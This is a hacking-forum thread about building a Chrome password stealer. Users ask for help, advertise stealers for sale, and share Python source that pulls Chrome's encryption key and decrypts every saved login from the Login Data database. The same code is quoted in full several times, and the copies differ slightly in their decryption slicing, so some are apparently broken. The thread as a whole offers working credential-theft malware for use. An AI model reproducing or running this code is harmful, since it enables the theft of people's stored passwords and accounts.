

Forum:[Hack Forums](#)

Thread: [Chrome pw stealer](#)

VelotionX - July 2, 2022, 4:12 pm

All tutorials I found were made for the older versions of chrome and they are saying that there has been a update on security for the passwords.

Could anyone provide a short tutoial/valid tutorial for decoding/decrypting the login data?

Wonderful - August 5, 2022, 4:15 am

I'm selling Chrome80+ Stealer C++ or Delphi without any external dependence to use togther executable. Contact me on pv!

switchwagaga - August 15, 2022, 4:42 pm

You can find python version for newer versions of chrome. If you want C++ you have to make it yourself or buy from someone. I could sell you one for low price. DM if intrested.

Tandloosi2 - August 22, 2022, 11:58 pm

I have made a program that is perfect for this, I made it myself, would you be interest to see it?

B-Zone - August 23, 2022, 12:14 am

(Aug 22, 2022 11:58 PM)Tandloosi2 Wrote: [\[CITE\]](#) I have made a program that is perfect for this, I made it myself, would you be interest to see it?

lol is that your way to infect people ?! not smart at all

Note : this user most likely will send you file to infect you so Deal with extreme caution

Tandloosi2 - August 23, 2022, 12:47 am

(Aug 23, 2022 12:14 AM)B-Zone Wrote: [\[CITE\]](#) lol is that your way to infect people ?! not smart at all

Note : this user most likely will send you file to infect you so Deal with extreme caution

I made a python program to decrypt Google Chrome passwords and sends it to me, my question was if he wanted to see the broncode of the decrypter

B-Zone - August 23, 2022, 12:50 am

(Aug 23, 2022 12:47 AM)Tandloosi2 Wrote: [\[CITE\]](#) I made a python program to decrypt Google Chrome passwords and sends it to me, my question was if he wanted to see the broncode of the decrypter

you mean something like that ?! here he can get it without taking your rat XD XD burn your self now

```
Code import os
import json
import base64
import sqlite3
import shutil
from datetime import timezone, datetime, timedelta
import json
```

```

import win32crypt
from Crypto.Cipher import AES

def my_chrome_datetime(time_in_mseconds):
    return datetime(1601, 1, 1) + timedelta(microseconds=time_in_mseconds)

def encryption_key():
    localState_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(localState_path, "r", encoding="utf-8") as file:
        local_state_file = file.read()
        local_state_file = json.loads(local_state_file)
        ASE_key = base64.b64decode(local_state_file["os_crypt"]["encrypted_key"])[5:]
    return win32crypt.CryptUnprotectData(ASE_key, None, None, None, 0)[1] # decrypted key

def decrypt_password(enc_password, key):
    try:
        init_vector = enc_password[3:15]
        enc_password = enc_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, init_vector)
        return cipher.decrypt(enc_password)[-16:].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords(logged in with Social Account)"

def stealcreds():
    password_db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                    "Google", "Chrome", "User Data", "Default", "Login Data")
    shutil.copyfile(password_db_path, "my_chrome_data.db")
    db = sqlite3.connect("my_chrome_data.db")
    cursor = db.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM
logins")
    encp_key = encryption_key()
    data = {}
    for row in cursor.fetchall():
        site_url = row[0]
        username = row[1]
        password = decrypt_password(row[2], encp_key)
        date_created = row[3]
        if username or password:
            data[site_url] = []
            data[site_url].append({
                "username": username,
                "password": password,
                "date_created": str(my_chrome_datetime(date_created))
            })
        else:
            continue

```

```
cursor.close()
db.close()
os.remove("my_chrome_data.db")
```

```
return data
```

Tandloosi2 - August 23, 2022, 12:52 am

(Aug 23, 2022 12:50 AM)B-Zone Wrote: [\[CITE\]](#) you mean something like that ?! here he can get it without taking your rat XD XD burn your self now

```
Code
import os
import json
import base64
import sqlite3
import shutil
from datetime import timezone, datetime, timedelta
import json
```

```
import win32crypt
from Crypto.Cipher import AES
```

```
def my_chrome_datetime(time_in_mseconds):
    return datetime(1601, 1, 1) + timedelta(microseconds=time_in_mseconds)
```

```
def encryption_key():
    localState_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(localState_path, "r", encoding="utf-8") as file:
        local_state_file = file.read()
        local_state_file = json.loads(local_state_file)
    ASE_key = base64.b64decode(local_state_file["os_crypt"]["encrypted_key"])[5:]
    return win32crypt.CryptUnprotectData(ASE_key, None, None, None, 0)[1] # decrypted key
```

```
def decrypt_password(enc_password, key):
    try:
        init_vector = enc_password[3:15]
        enc_password = enc_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, init_vector)
        return cipher.decrypt(enc_password[:-16]).decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords(logged in with Social Account)"
```

```
def stealcreds():
    password_db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                    "Google", "Chrome", "User Data", "Default", "Login Data")
    shutil.copyfile(password_db_path, "my_chrome_data.db")
    db = sqlite3.connect("my_chrome_data.db")
    cursor = db.cursor()
```

```

cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM
logins")
encp_key = encryption_key()
data = {}
for row in cursor.fetchall():
    site_url = row[0]
    username = row[1]
    password = decrypt_password(row[2], encp_key)
    date_created = row[3]
    if username or password:
        data[site_url] = []
        data[site_url].append({
            "username": username,
            "password": password,
            "date_created": str(my_chrome_datetime(date_created))
        })
    else:
        continue
cursor.close()
db.close()
os.remove("my_chrome_data.db")

return data

```

Yes, this was what I was going to send him

Stanex - September 1, 2022, 10:21 pm

stealers are working fine daily

nobleguy - September 5, 2022, 1:51 pm

I want this one! Where cna i get it?

albred74 - September 10, 2022, 8:29 am

why are you all looking for smth to buy when github shares everything u need for free? Lol

VelotionX - October 5, 2022, 2:40 am

(Aug 23, 2022 12:50 AM)B-Zone Wrote: [\[CITE\]](#) you mean something like that ?! here he can get it without taking your rat XD XD burn your self now

```

Code
import os
import json
import base64
import sqlite3
import shutil
from datetime import timezone, datetime, timedelta
import json

```

```

import win32crypt
from Crypto.Cipher import AES

```

```

def my_chrome_datetime(time_in_mseconds):

```

```
return datetime(1601, 1, 1) + timedelta(microseconds=time_in_mseconds)
```

```
def encryption_key():
```

```
    localState_path = os.path.join(os.environ["USERPROFILE"],  
                                    "AppData", "Local", "Google", "Chrome",  
                                    "User Data", "Local State")
```

```
    with open(localState_path, "r", encoding="utf-8") as file:
```

```
        local_state_file = file.read()
```

```
        local_state_file = json.loads(local_state_file)
```

```
    ASE_key = base64.b64decode(local_state_file["os_crypt"]["encrypted_key"])[5:]
```

```
    return win32crypt.CryptUnprotectData(ASE_key, None, None, None, 0)[1] # decrypted key
```

```
def decrypt_password(enc_password, key):
```

```
    try:
```

```
        init_vector = enc_password[3:15]
```

```
        enc_password = enc_password[15:]
```

```
        cipher = AES.new(key, AES.MODE_GCM, init_vector)
```

```
        return cipher.decrypt(enc_password)[-16:].decode()
```

```
    except:
```

```
        try:
```

```
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
```

```
        except:
```

```
            return "No Passwords(logged in with Social Account)"
```

```
def stealcreds():
```

```
    password_db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",  
                                    "Google", "Chrome", "User Data", "Default", "Login Data")
```

```
    shutil.copyfile(password_db_path, "my_chrome_data.db")
```

```
    db = sqlite3.connect("my_chrome_data.db")
```

```
    cursor = db.cursor()
```

```
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM  
logins")
```

```
    encp_key = encryption_key()
```

```
    data = {}
```

```
    for row in cursor.fetchall():
```

```
        site_url = row[0]
```

```
        username = row[1]
```

```
        password = decrypt_password(row[2], encp_key)
```

```
        date_created = row[3]
```

```
        if username or password:
```

```
            data[site_url] = []
```

```
            data[site_url].append({
```

```
                "username": username,
```

```
                "password": password,
```

```
                "date_created": str(my_chrome_datetime(date_created))
```

```
            })
```

```
        else:
```

```
            continue
```

```
    cursor.close()
```

```
    db.close()
```

```
    os.remove("my_chrome_data.db")
```

```
    return data
```

Thank You a lot!

B-Zone - October 5, 2022, 11:50 am

(Oct 5, 2022 02:40 AM)VelotionX Wrote: [\[CITE\]](#) Thank You a lot!
you are welcome mate ?

SIM-5264764 - October 7, 2022, 6:51 am

(Aug 23, 2022 12:50 AM)B-Zone Wrote: [\[CITE\]](#) you mean something like that ?! here he can get it
without taking your rat XD XD burn your self now

```
Code
import os
import json
import base64
import sqlite3
import shutil
from datetime import timezone, datetime, timedelta
import json
```

```
import win32crypt
from Crypto.Cipher import AES
```

```
def my_chrome_datetime(time_in_mseconds):
    return datetime(1601, 1, 1) + timedelta(microseconds=time_in_mseconds)
```

```
def encryption_key():
    localState_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(localState_path, "r", encoding="utf-8") as file:
        local_state_file = file.read()
        local_state_file = json.loads(local_state_file)
    ASE_key = base64.b64decode(local_state_file["os_crypt"]["encrypted_key"])[5:]
    return win32crypt.CryptUnprotectData(ASE_key, None, None, None, 0)[1] # decrypted key
```

```
def decrypt_password(enc_password, key):
    try:
        init_vector = enc_password[3:15]
        enc_password = enc_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, init_vector)
        return cipher.decrypt(enc_password[:-16]).decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords(logged in with Social Account)"
```

```
def stealcreds():
    password_db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                    "Google", "Chrome", "User Data", "Default", "Login Data")
    shutil.copyfile(password_db_path, "my_chrome_data.db")
    db = sqlite3.connect("my_chrome_data.db")
    cursor = db.cursor()
```

```
cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM
logins")
encp_key = encryption_key()
data = {}
for row in cursor.fetchall():
    site_url = row[0]
    username = row[1]
    password = decrypt_password(row[2], encp_key)
    date_created = row[3]
    if username or password:
        data[site_url] = []
        data[site_url].append({
            "username": username,
            "password": password,
            "date_created": str(my_chrome_datetime(date_created))
        })
    else:
        continue
cursor.close()
db.close()
os.remove("my_chrome_data.db")

return data
Thanks mate
```